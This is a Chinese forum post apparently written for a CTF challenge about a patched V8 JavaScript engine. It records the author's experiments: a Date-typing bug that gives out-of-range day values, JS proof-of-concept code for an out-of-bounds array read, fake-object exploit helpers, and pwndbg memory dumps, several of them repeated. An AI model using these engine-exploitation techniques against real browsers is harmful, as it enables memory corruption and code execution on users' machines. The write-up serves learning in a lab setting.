-
-
[原创]关于【第五题:小虎还乡】的部分实验
-
发表于: 2019-12-15 00:22 6304
-
虽然至今没做出来,但还是辛苦自己了,当笔记记一下吧。基本都是凭感觉,不能确定是否正确,所以要看的话,请保持清醒,避免被误导。
当然这只是测试结果,后面调用会不会因为各种神奇的原因发生改变仍然是未知的。看到这里有兴趣的同学可以再测试。
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var xxx=0.133599;
var objcache=[];
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
var fake_array = [ float_array_map, i2f(0n), i2f(0x41414141n), i2f(0x1000000000n), 1.1, 2.2,];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
题目里几个文件,
- d8是由叫v8的东西编译出来,v8是浏览器的js引擎,linux程序
- date.patch是diff的输出,记录了文件的修改。一共修改三个文件。Build.gn里的不知道什么意思,d8.cc里注释了很多函数,只留下readLine,联系到题目要求只提交一行,可以理解。最重要的是data.h,修改了日期的最大值。既然改大了,可能就是溢出,但是具体哪里溢出,怎么溢出,溢出会怎样都与我无关。
- natives.blob里是疑似代码的东西,看不懂。snapshot_blob.bin是个二进制文件,搜字符串能找到一些函数,不知道怎么用。
- redeme里给出一个commit,直接必应搜索,发现是v8的git的某种标识。因为某些不可描述的原因,最后在gitee注册个账号进去看到了对应源码分支,日期是13天前。
也就是说timeClip决定了Date构造时数据范围。
命令行测试:
V8 version 8.0.0 (candidate) d8> a=864000000;b=15000000;c=a*b;new Date(c) Sun Jan 20 412656 08:00:00 GMT+0800 () d8> c+1 12960000000000000 d8> c+2 12960000000000002 d8> c-1 12960000000000000
比较(864000000) * 10000000和(864000000) * 15000000可以发现,二进制下后者比前者多一位,刚好达到v8里的某个界限,整数已经不能连续表示了。
V8 version 8.0.0 (candidate) d8> a=864000000;b=15000000;c=a*b;new Date(c) Sun Jan 20 412656 08:00:00 GMT+0800 () d8> c+1 12960000000000000 d8> c+2 12960000000000002 d8> c-1 12960000000000000
比较(864000000) * 10000000和(864000000) * 15000000可以发现,二进制下后者比前者多一位,刚好达到v8里的某个界限,整数已经不能连续表示了。
以上分析都没什么用,只能知道原来pwn是这样的。我还是去赶ddl吧。
经过几天的操作,终于追上了ddl,好像一下子就变闲了。睡了一下午起来正好看到公众号推送里给了提示,于是决定再看看。
1.漏洞查找
提示里的这篇文章circumventing-chromes-hardening-of-typer-bugs(我觉得可能很多人都没看到),提到并演示了一种漏洞。因为是英文的,很多词都不认识有懒得翻译,所以我看得很快,跳过了很多分析,只知道大概:v8会对函数的代码进行优化,例如删除某些永远不会到达的分支。每个数值变量都有一个对应的Type,给出这个变量数字的范围(Range),在作为索引访问数组时,优化器如果判定这个数字的最大变化范围全都不会超出数组索引范围,“不可能”造成越界,就会去掉检查索引越界的代码,这个判断由Range实现。原文里展示的漏洞中,Range为[0,MaxLength-1],而实际上却是MaxLength,在数学运算后,Range变为[0,0],实际数字为1,于是可以实现访问任意索引而不触发越界检查的效果。
于是在github的v8镜像搜索【Type Date】,最终找到如下代码:
//v8/src/compiler/type-cache.h //..................... // A time value always contains a tagged number in the range // [-kMaxTimeInMs, kMaxTimeInMs]. Type const kTimeValueType = CreateRange(-DateCache::kMaxTimeInMs, DateCache::kMaxTimeInMs); // The JSDate::day property always contains a tagged number in the range // [1, 31] or NaN. Type const kJSDateDayType = Type::Union(CreateRange(1, 31.0), Type::NaN(), zone()); // The JSDate::hour property always contains a tagged number in the range // [0, 23] or NaN. Type const kJSDateHourType = Type::Union(CreateRange(0, 23.0), Type::NaN(), zone()); // The JSDate::minute property always contains a tagged number in the range // [0, 59] or NaN. Type const kJSDateMinuteType = Type::Union(CreateRange(0, 59.0), Type::NaN(), zone()); // The JSDate::month property always contains a tagged number in the range // [0, 11] or NaN. Type const kJSDateMonthType = Type::Union(CreateRange(0, 11.0), Type::NaN(), zone()); // The JSDate::second property always contains a tagged number in the range // [0, 59] or NaN. Type const kJSDateSecondType = kJSDateMinuteType; // The JSDate::value property always contains a tagged number in the range // [-kMaxTimeInMs, kMaxTimeInMs] or NaN. Type const kJSDateValueType = Type::Union(kTimeValueType, Type::NaN(), zone()); // The JSDate::weekday property always contains a tagged number in the range // [0, 6] or NaN. Type const kJSDateWeekdayType = Type::Union(CreateRange(0, 6.0), Type::NaN(), zone()); // The JSDate::year property always contains a tagged number in the signed // small range or NaN. Type const kJSDateYearType = Type::Union(Type::SignedSmall(), Type::NaN(), zone());
仔细一看,完全找不出问题,修改的是KMaxTimeInMs,而这里kTimeValueType也是用的这个数值,会同步变化。月份,日期,小时这些的范围全是公认的,也不会错。唯一不太一样的是Year,但是这里SignedSmall名字是Small,其实是32或者31位的有符号数,上面测试已经展示,最大的年份只有四万多,不可能超出Range范围。
//v8/src/compiler/type-cache.h //..................... // A time value always contains a tagged number in the range // [-kMaxTimeInMs, kMaxTimeInMs]. Type const kTimeValueType = CreateRange(-DateCache::kMaxTimeInMs, DateCache::kMaxTimeInMs); // The JSDate::day property always contains a tagged number in the range // [1, 31] or NaN. Type const kJSDateDayType = Type::Union(CreateRange(1, 31.0), Type::NaN(), zone()); // The JSDate::hour property always contains a tagged number in the range // [0, 23] or NaN. Type const kJSDateHourType = Type::Union(CreateRange(0, 23.0), Type::NaN(), zone()); // The JSDate::minute property always contains a tagged number in the range // [0, 59] or NaN. Type const kJSDateMinuteType = Type::Union(CreateRange(0, 59.0), Type::NaN(), zone()); // The JSDate::month property always contains a tagged number in the range // [0, 11] or NaN. Type const kJSDateMonthType = Type::Union(CreateRange(0, 11.0), Type::NaN(), zone()); // The JSDate::second property always contains a tagged number in the range // [0, 59] or NaN. Type const kJSDateSecondType = kJSDateMinuteType; // The JSDate::value property always contains a tagged number in the range // [-kMaxTimeInMs, kMaxTimeInMs] or NaN. Type const kJSDateValueType = Type::Union(kTimeValueType, Type::NaN(), zone()); // The JSDate::weekday property always contains a tagged number in the range // [0, 6] or NaN. Type const kJSDateWeekdayType = Type::Union(CreateRange(0, 6.0), Type::NaN(), zone()); // The JSDate::year property always contains a tagged number in the signed // small range or NaN. Type const kJSDateYearType = Type::Union(Type::SignedSmall(), Type::NaN(), zone());
仔细一看,完全找不出问题,修改的是KMaxTimeInMs,而这里kTimeValueType也是用的这个数值,会同步变化。月份,日期,小时这些的范围全是公认的,也不会错。唯一不太一样的是Year,但是这里SignedSmall名字是Small,其实是32或者31位的有符号数,上面测试已经展示,最大的年份只有四万多,不可能超出Range范围。
打算放弃的时候,想起一个问题:时间的范围包括负数?包括timeClip里也是:
if(-kMaxTimeInMs<=time&&time<=kMaxTimeInMs){ ...
也就是说Date接受负数作为参数?因为对JS不了解的原因,感觉Date可以是负数很新奇,于是在命令行测试了一下:
d8> a=864000000;b=15000000;c=-a*b;new Date(c) Mon Jan -18 -408716 08:00:00 GMT+0800 ()
还真的可以,年份都到负四万了
d8> a=864000000;b=15000000;c=-a*b;new Date(c) Mon Jan -18 -408716 08:00:00 GMT+0800 ()
还真的可以,年份都到负四万了
准备退出的时候才发现了亮点,不仅年份是负的,日期也是负的。再看这个Type:
Type const kJSDateDayType = Type::Union(CreateRange(1, 31.0), Type::NaN(), zone());
正常人都知道日期是1到31之间,这非常正常,但是这偏偏算出一个-18。具体为什么会这样我也不知道,也不想管,反正确实是莫名其妙的就发现了问题所在。
Type const kJSDateDayType = Type::Union(CreateRange(1, 31.0), Type::NaN(), zone());
正常人都知道日期是1到31之间,这非常正常,但是这偏偏算出一个-18。具体为什么会这样我也不知道,也不想管,反正确实是莫名其妙的就发现了问题所在。
到这一步,大佬都可以散了。但是对我这种萌新来说,后面才是真的难点。
2.漏洞利用
主要看了几篇文章:
其中英文的没仔细看,中文的也没仔细看,主要是想抄第一篇里的exp代码,并且学着下载使用了gdb,pwngdb等。
2.1实现越界访问
修改提示文章里提供的代码,最后大概长这样(凭记忆恢复
SUCCESS = 0; FAILURE = 0x42; let it = 0; var opt_me = () => { const OOB_OFFSET = 5; let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed); badly_typed = Math.abs(badly_typed-16);//[0,15]--real:34 badly_typed = badly_typed >>5;//range (0,0)--real:1 let bad = badly_typed * OOB_OFFSET; let leak = 0; if (bad >= OOB_OFFSET && ++it < 0x10000) { leak = 0; } else { let arr = new Array(1.1,2.3,3.4); arr2 = new Array({},{}); leak = arr[bad]; if (leak != undefined) { console.log(leak);console.log(bad);console.log(arr[bad]); return leak; } } return FAILURE; }; let res = opt_me(); for (let i = 0; i < 0x10000; ++i) res = opt_me(); %DisassembleFunction(opt_me); // prints nothing on release builds for (let i = 0; i < 0x10000; ++i) res = opt_me(); print(res); %DisassembleFunction(opt_me); // prints nothing on release builds
但是命令行出来结果长这样:
SUCCESS = 0; FAILURE = 0x42; let it = 0; var opt_me = () => { const OOB_OFFSET = 5; let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed); badly_typed = Math.abs(badly_typed-16);//[0,15]--real:34 badly_typed = badly_typed >>5;//range (0,0)--real:1 let bad = badly_typed * OOB_OFFSET; let leak = 0; if (bad >= OOB_OFFSET && ++it < 0x10000) { leak = 0; } else { let arr = new Array(1.1,2.3,3.4); arr2 = new Array({},{}); leak = arr[bad]; if (leak != undefined) { console.log(leak);console.log(bad);console.log(arr[bad]); return leak; } } return FAILURE; }; let res = opt_me(); for (let i = 0; i < 0x10000; ++i) res = opt_me(); %DisassembleFunction(opt_me); // prints nothing on release builds for (let i = 0; i < 0x10000; ++i) res = opt_me(); print(res); %DisassembleFunction(opt_me); // prints nothing on release builds
但是命令行出来结果长这样:
可以发现索引是5,取出来的是1.1也就是索引0的元素,并且再次使用变成undefined,应该是Range已经变成正常或者这里没有优化。
当时猜的是Range为[0,0]直接被当成0用,所以想的是把range改为[0,1],总不能随机选一个吧。但是写到这里的时候又调试了一下,才发现不是这个问题。
在log后面加上:
%DebugPrint(arr);%DebugPrint(arr2);%SystemBreak();
pwndbg里输出:
%DebugPrint(arr);%DebugPrint(arr2);%SystemBreak();
pwndbg里输出:
1.1
5
undefined
0x1372cba5e9b1 <JSArray[3]>
0x2505583f7871 <JSArray[2]>
1.1
5
undefined
0x1372cba5e9b1 <JSArray[3]>
0x2505583f7871 <JSArray[2]>
然后用命令telescope看
pwndbg> telescope 0x1372cba5e9b0 //arr 00:0000│ 0x1372cba5e9b0 —▸ 0x14edde6c2b49 ◂— 0x400000088aa3001 01:0008│ 0x1372cba5e9b8 —▸ 0x88aa300b21 ◂— 0x88aa3007 02:0010│ 0x1372cba5e9c0 —▸ 0x2505583f7891 ◂— 0x88aa3010//arr的元素指针 03:0018│ 0x1372cba5e9c8 ◂— 0x300000000 pwndbg> telescope 0x2505583f7870 //arr2 00:0000│ 0x2505583f7870 —▸ 0x14edde6c2bd9 ◂— 0x400000088aa3001 01:0008│ 0x2505583f7878 —▸ 0x88aa300b21 ◂— 0x88aa3007 02:0010│ 0x2505583f7880 —▸ 0x2505583f7851 ◂— 0x88aa3007//arr2的元素指针在自己前面 03:0018│ 0x2505583f7888 ◂— 0x200000000 04:0020│ 0x2505583f7890 —▸ 0x88aa301071 ◂— 0x88aa3001 //arr的元素实际地址 05:0028│ 0x2505583f7898 ◂— 0x300000000 06:0030│ 0x2505583f78a0 ◂— 0x3ff199999999999a 07:0038│ 0x2505583f78a8 ◂— 0x4002666666666666
arr和arr2被分配到不同的位置。每个数组主题包括四个8字节数据,第一个是Map,第二个不知道,第三个是放元素的位置,第四个是长度。
可以发现两个数组map不同,一个是2b49,一个是2bd9(其实实验过程中发现float map和object map总是只有后两位有差距,并且总是2b49和2bd9,所以得到一个可以算出另一个,但是不能确定是否机器问题)
pwndbg> telescope 0x1372cba5e9b0 //arr 00:0000│ 0x1372cba5e9b0 —▸ 0x14edde6c2b49 ◂— 0x400000088aa3001 01:0008│ 0x1372cba5e9b8 —▸ 0x88aa300b21 ◂— 0x88aa3007 02:0010│ 0x1372cba5e9c0 —▸ 0x2505583f7891 ◂— 0x88aa3010//arr的元素指针 03:0018│ 0x1372cba5e9c8 ◂— 0x300000000 pwndbg> telescope 0x2505583f7870 //arr2 00:0000│ 0x2505583f7870 —▸ 0x14edde6c2bd9 ◂— 0x400000088aa3001 01:0008│ 0x2505583f7878 —▸ 0x88aa300b21 ◂— 0x88aa3007 02:0010│ 0x2505583f7880 —▸ 0x2505583f7851 ◂— 0x88aa3007//arr2的元素指针在自己前面 03:0018│ 0x2505583f7888 ◂— 0x200000000 04:0020│ 0x2505583f7890 —▸ 0x88aa301071 ◂— 0x88aa3001 //arr的元素实际地址 05:0028│ 0x2505583f7898 ◂— 0x300000000 06:0030│ 0x2505583f78a0 ◂— 0x3ff199999999999a 07:0038│ 0x2505583f78a8 ◂— 0x4002666666666666
arr和arr2被分配到不同的位置。每个数组主题包括四个8字节数据,第一个是Map,第二个不知道,第三个是放元素的位置,第四个是长度。
可以发现两个数组map不同,一个是2b49,一个是2bd9(其实实验过程中发现float map和object map总是只有后两位有差距,并且总是2b49和2bd9,所以得到一个可以算出另一个,但是不能确定是否机器问题)
更重要的是,两个数组地址差别极大,前一个的元素被分到了第二个数组的后面,第二个数组的元素被分到自己前面。
两个最大的差别就是let,删除let后得到:
3.1692334797154e-310
5
undefined
0x3a57278777a9 <JSArray[3]>
0x3a5727877859 <JSArray[2]>
3.1692334797154e-310
5
undefined
0x3a57278777a9 <JSArray[3]>
0x3a5727877859 <JSArray[2]>
pwndbg> telescope 0x3a5727877780 //arr的元素 00:0000│ 0x3a5727877780 —▸ 0x35d57be41071 ◂— 0x35d57be401 01:0008│ 0x3a5727877788 ◂— 0x300000000 02:0010│ 0x3a5727877790 ◂— 0x3ff199999999999a 03:0018│ 0x3a5727877798 ◂— 0x4002666666666666 04:0020│ 0x3a57278777a0 ◂— 0x400b333333333333 ('333333\x0b@') pwndbg> telescope 0x3a57278777a8 //arr 00:0000│ 0x3a57278777a8 —▸ 0x1f74ef582b49 ◂— 0x4000035d57be401 01:0008│ 0x3a57278777b0 —▸ 0x35d57be40b21 ◂— 0x35d57be407 02:0010│ 0x3a57278777b8 —▸ 0x3a5727877781 ◂— 0x35d57be410//arr元素指针在自己前面 03:0018│ 0x3a57278777c0 ◂— 0x300000000 04:0020│ 0x3a57278777c8 —▸ 0x1f74ef580431 ◂— 0x7000035d57be401//???? 05:0028│ 0x3a57278777d0 —▸ 0x35d57be40b21 ◂— 0x35d57be407 ... ↓ 07:0038│ 0x3a57278777e0 —▸ 0x35d57be40469 ◂— 0x35d57be404 //中间内容未知,大概率是为{}分配的 pwndbg> telescope 0x3a5727877858 //arr2 00:0000│ 0x3a5727877858 —▸ 0x1f74ef582bd9 ◂— 0x4000035d57be401 01:0008│ 0x3a5727877860 —▸ 0x35d57be40b21 ◂— 0x35d57be407 02:0010│ 0x3a5727877868 —▸ 0x3a5727877839 ◂— 0x35d57be407//arr2指针在自己前面 03:0018│ 0x3a5727877870 ◂— 0x200000000 04:0020│ 0x3a5727877878 —▸ 0x35d57be404f1 ◂— 0x2000035d57be401//??? 05:0028│ 0x3a5727877880 —▸ 0x3a5727877781 ◂— 0x35d57be410 06:0030│ 0x3a5727877888 —▸ 0x35d57be404f1 ◂— 0x2000035d57be401 07:0038│ 0x3a5727877890 ◂— 0xc347058692250000
顺便看一下存放元素的位置,对浮点数组arr来说就是0x3a5727877780,刚好在数组本身前面,第一个不知道是什么,第二个也是长度,后面三个是实际的元素。如果取arr[3],刚好是数组的map。上面文章里oob就是这么用的。我本来想抄文章里的exp,因此决定把这个当成oob用。
pwndbg> telescope 0x3a5727877780 //arr的元素 00:0000│ 0x3a5727877780 —▸ 0x35d57be41071 ◂— 0x35d57be401 01:0008│ 0x3a5727877788 ◂— 0x300000000 02:0010│ 0x3a5727877790 ◂— 0x3ff199999999999a 03:0018│ 0x3a5727877798 ◂— 0x4002666666666666 04:0020│ 0x3a57278777a0 ◂— 0x400b333333333333 ('333333\x0b@') pwndbg> telescope 0x3a57278777a8 //arr 00:0000│ 0x3a57278777a8 —▸ 0x1f74ef582b49 ◂— 0x4000035d57be401 01:0008│ 0x3a57278777b0 —▸ 0x35d57be40b21 ◂— 0x35d57be407 02:0010│ 0x3a57278777b8 —▸ 0x3a5727877781 ◂— 0x35d57be410//arr元素指针在自己前面 03:0018│ 0x3a57278777c0 ◂— 0x300000000 04:0020│ 0x3a57278777c8 —▸ 0x1f74ef580431 ◂— 0x7000035d57be401//???? 05:0028│ 0x3a57278777d0 —▸ 0x35d57be40b21 ◂— 0x35d57be407 ... ↓ 07:0038│ 0x3a57278777e0 —▸ 0x35d57be40469 ◂— 0x35d57be404 //中间内容未知,大概率是为{}分配的 pwndbg> telescope 0x3a5727877858 //arr2 00:0000│ 0x3a5727877858 —▸ 0x1f74ef582bd9 ◂— 0x4000035d57be401 01:0008│ 0x3a5727877860 —▸ 0x35d57be40b21 ◂— 0x35d57be407 02:0010│ 0x3a5727877868 —▸ 0x3a5727877839 ◂— 0x35d57be407//arr2指针在自己前面 03:0018│ 0x3a5727877870 ◂— 0x200000000 04:0020│ 0x3a5727877878 —▸ 0x35d57be404f1 ◂— 0x2000035d57be401//??? 05:0028│ 0x3a5727877880 —▸ 0x3a5727877781 ◂— 0x35d57be410 06:0030│ 0x3a5727877888 —▸ 0x35d57be404f1 ◂— 0x2000035d57be401 07:0038│ 0x3a5727877890 ◂— 0xc347058692250000
顺便看一下存放元素的位置,对浮点数组arr来说就是0x3a5727877780,刚好在数组本身前面,第一个不知道是什么,第二个也是长度,后面三个是实际的元素。如果取arr[3],刚好是数组的map。上面文章里oob就是这么用的。我本来想抄文章里的exp,因此决定把这个当成oob用。
实际上我没有发现是let的问题,采用了另一种方法,对索引加了几层数学运算,并且让range不是[0,0],最后也成功的实现越界读取。具体什么原理的我也不知道。
badly_typed = Math.abs(badly_typed-18); badly_typed = badly_typed >>4;//range (0,1)--real:2 let bad =(badly_typed&0xff)+1;//real:3 //...let arr=[1.1,2.2,3.3];
badly_typed = Math.abs(badly_typed-18); badly_typed = badly_typed >>4;//range (0,1)--real:2 let bad =(badly_typed&0xff)+1;//real:3 //...let arr=[1.1,2.2,3.3];
之前在测试的时候,我印象里开始时用let和var以及不用很多时候内存分布是一样的,都是元素紧贴在数组后面或者前面,后来把代码复制到另一个文件里出现了错误,调试才发现let的内存分布不一样,但是原本用let的文件仍能正常运行。今天重新测试,发现结果又有了变化,之前的结果部分无法复现,可能之前就是错的,能复现的也不清楚原因,改都不敢改,仿佛只是一个重启的时间,世界线发生了变动,或者内存分配方式被更新了。也可能是昨天没睡醒。说实话写到这有种道心崩溃的感觉。总之原来的想写的内容全部放下,结合之前就已经遇到过的一些问题,先确认下内存分布的具体情况。
2.2内存分布测试
let ele={x:2};%DebugPrint(ele); let arr1=new Array(1.2,2.3);let arr2=[ele,ele,ele];%DebugPrint(arr1);%DebugPrint(arr2); %SystemBreak();
这段代码是之前测试内存分配时用过的,结果很简单,用new Array产生的数组对象元素在自己后面,直接用[]产生的数组元素在自己前面。重要的是两者连续。
let ele={x:2};%DebugPrint(ele); let arr1=new Array(1.2,2.3);let arr2=[ele,ele,ele];%DebugPrint(arr1);%DebugPrint(arr2); %SystemBreak();
这段代码是之前测试内存分配时用过的,结果很简单,用new Array产生的数组对象元素在自己后面,直接用[]产生的数组元素在自己前面。重要的是两者连续。
因此假如就这么简单的话,用连续两个new Array产生的数组,前一个读写后一个的map,非常轻松。但是实际上在上一节中已经展示过,运行过程中可能不是连续的,new Array产生的数组也可能元素在自己前面(有的文章里说总是在前面)。
有几个可疑的地方,之前的数组是在函数里申请的,有分配到堆或者栈的问题,加上优化,以及中间申请的变量,甚至内存回收等等。
可能的情况有很多,new Array和[],let,var和什么都不用,函数外和函数内,全局变量作为元素,参数作为元素,预先定义元素再构造数组或者直接在数组定义里用{}这类,以及元素可能的类型等等。一一探索真是太痛苦了,也没什么必要,先简化一下问题。
要实现漏洞利用,必须触发优化,经过测试,如果用外部定义的全局变量作为数组或者参数作为越界访问的数组,都会失败。最有可能的原因是优化器只会优化长度确定的数组。我尝试在函数开头加上对数组长度的校验,只有固定长度的数组能进入后续的分支,希望能够向优化器暗示数组长度,但是不知道是方法有问题还是优化器没智能到这种程度,并没有成功。因此实际使用的越界访问的数组必须是临时产生的,并且是在函数经过优化之后的。
let t=0; function main(obj){ let arr1=new Array(1.2,2.3,3.4); let arr2=[1.2,2.3,3.4]; // let arr3=new Array({},{},{}); let arr4=[{},{},{}]; let arr5=new Array(obj,obj,obj); let arr6=[obj,obj,obj]; var arr7=new Array(1.2,2.3,3.4); var arr8=[1.2,2.3,3.4]; // var arr9=new Array({},{},{}); var arr10=[{},{},{}]; var arr11=new Array(obj,obj,obj);var arr12=[obj,obj,obj]; arr13=new Array(1.2,2.3,3.4); arr14=[1.2,2.3,3.4]; // arr15=new Array({},{},{}); arr16=[{},{},{}]; arr17=new Array(obj,obj,obj); arr18=[obj,obj,obj]; if(++t>0x10000){ %DebugPrint(obj); console.log("---------------------------"); %DebugPrint(arr1);%DebugPrint(arr2); // %DebugPrint(arr3);%DebugPrint(arr4); %DebugPrint(arr5);%DebugPrint(arr6); console.log("---------------------------"); %DebugPrint(arr7);%DebugPrint(arr8); // %DebugPrint(arr9);%DebugPrint(arr10); %DebugPrint(arr11);%DebugPrint(arr12); console.log("------------------------------"); %DebugPrint(arr13);%DebugPrint(arr14); // %DebugPrint(arr15);%DebugPrint(arr16); %DebugPrint(arr17);%DebugPrint(arr18); %SystemBreak(); } } var obj={x:0.123}; %DebugPrint(obj); for(let i=0;i<0x10000;i++) main(obj); main(obj); %DebugPrint(obj);
根据输出地址一个个看内存分布,发现了各种奇怪的事情。
let t=0; function main(obj){ let arr1=new Array(1.2,2.3,3.4); let arr2=[1.2,2.3,3.4]; // let arr3=new Array({},{},{}); let arr4=[{},{},{}]; let arr5=new Array(obj,obj,obj); let arr6=[obj,obj,obj]; var arr7=new Array(1.2,2.3,3.4); var arr8=[1.2,2.3,3.4]; // var arr9=new Array({},{},{}); var arr10=[{},{},{}]; var arr11=new Array(obj,obj,obj);var arr12=[obj,obj,obj]; arr13=new Array(1.2,2.3,3.4); arr14=[1.2,2.3,3.4]; // arr15=new Array({},{},{}); arr16=[{},{},{}]; arr17=new Array(obj,obj,obj); arr18=[obj,obj,obj]; if(++t>0x10000){ %DebugPrint(obj); console.log("---------------------------"); %DebugPrint(arr1);%DebugPrint(arr2); // %DebugPrint(arr3);%DebugPrint(arr4); %DebugPrint(arr5);%DebugPrint(arr6); console.log("---------------------------"); %DebugPrint(arr7);%DebugPrint(arr8); // %DebugPrint(arr9);%DebugPrint(arr10); %DebugPrint(arr11);%DebugPrint(arr12); console.log("------------------------------"); %DebugPrint(arr13);%DebugPrint(arr14); // %DebugPrint(arr15);%DebugPrint(arr16); %DebugPrint(arr17);%DebugPrint(arr18); %SystemBreak(); } } var obj={x:0.123}; %DebugPrint(obj); for(let i=0;i<0x10000;i++) main(obj); main(obj); %DebugPrint(obj);
根据输出地址一个个看内存分布,发现了各种奇怪的事情。
先看不优化的,将判断次数的语句去掉,看第一次调用函数的结果:
0x203a2bb05061 <Object map = 0x2fcf654c6da9>
0x203a2bb05061 <Object map = 0x2fcf654c6da9>
0x203a2bb05229 <JSArray[3]>
0x203a2bb05299 <JSArray[3]>
0x203a2bb052b9 <JSArray[3]>
0x203a2bb05329 <JSArray[3]>
---------------------------
0x203a2bb05349 <JSArray[3]>
0x203a2bb053b9 <JSArray[3]>
0x203a2bb053d9 <JSArray[3]>
0x203a2bb05449 <JSArray[3]>
---------------------------
0x203a2bb05469 <JSArray[3]>
0x203a2bb054d9 <JSArray[3]>
0x203a2bb054f9 <JSArray[3]>
0x203a2bb05569 <JSArray[3]>
0x203a2bb05061 <Object map = 0x2fcf654c6da9>
0x203a2bb05061 <Object map = 0x2fcf654c6da9>
0x203a2bb05229 <JSArray[3]>
0x203a2bb05299 <JSArray[3]>
0x203a2bb052b9 <JSArray[3]>
0x203a2bb05329 <JSArray[3]>
---------------------------
0x203a2bb05349 <JSArray[3]>
0x203a2bb053b9 <JSArray[3]>
0x203a2bb053d9 <JSArray[3]>
0x203a2bb05449 <JSArray[3]>
---------------------------
0x203a2bb05469 <JSArray[3]>
0x203a2bb054d9 <JSArray[3]>
0x203a2bb054f9 <JSArray[3]>
0x203a2bb05569 <JSArray[3]>
传进去的参数和外部相等,符合对象和指针的基本知识。检查内存,发现与之前分析一致:new Array元素在后面,[]元素在前面,全部连续。
如果在中间加上[{},{}]这种,就会导致和上一个数组间出现不连续的内存,应该是为{}分配的,因此实际使用还是避免临时产生对象
接着看优化过的,这里出现了最让人惶恐的情况。
一开始我没有加console.log作为输出的分割符号,输出是这样的:
0x1d4b61704f81 <Object map = 0x13737e786da9>
0x0e407fb40119 <Object map = 0x13737e786da9>
0x379d9d9f8d21 <JSArray[3]>
0x379d9d9f8d69 <JSArray[3]>
0x379d9d9f8d89 <JSArray[3]>
0x379d9d9f8df9 <JSArray[3]>
0x379d9d9f8e41 <JSArray[3]>
0x379d9d9f8e89 <JSArray[3]>
0x379d9d9f8ea9 <JSArray[3]>
0x379d9d9f8f19 <JSArray[3]>
0x379d9d9f8f61 <JSArray[3]>
0x379d9d9f8fa9 <JSArray[3]>
0x379d9d9f8fc9 <JSArray[3]>
0x379d9d9f9039 <JSArray[3]>
0x1d4b61704f81 <Object map = 0x13737e786da9>
0x0e407fb40119 <Object map = 0x13737e786da9>
0x379d9d9f8d21 <JSArray[3]>
0x379d9d9f8d69 <JSArray[3]>
0x379d9d9f8d89 <JSArray[3]>
0x379d9d9f8df9 <JSArray[3]>
0x379d9d9f8e41 <JSArray[3]>
0x379d9d9f8e89 <JSArray[3]>
0x379d9d9f8ea9 <JSArray[3]>
0x379d9d9f8f19 <JSArray[3]>
0x379d9d9f8f61 <JSArray[3]>
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-12-15 12:01
被mb_ibocelll编辑
,原因:
赞赏记录
参与人
雪币
留言
时间
一笑人间万事
为你点赞~
2022-7-27 01:31
心游尘世外
为你点赞~
2022-7-26 23:20
飘零丶
为你点赞~
2022-7-17 02:48
天水姜伯约
为你点赞~
2019-12-15 23:06
赞赏
他的文章
- [原创]KCTF 2023 第三题 解题过程 9037
- [原创]第二题 CN星际基地 8069
- [原创]第七题:东北奇闻 5183
- [原创]关于【第五题:小虎还乡】的部分实验 6305
- [原创]第四题:西部乐园 4201
看原图
赞赏
雪币:
留言: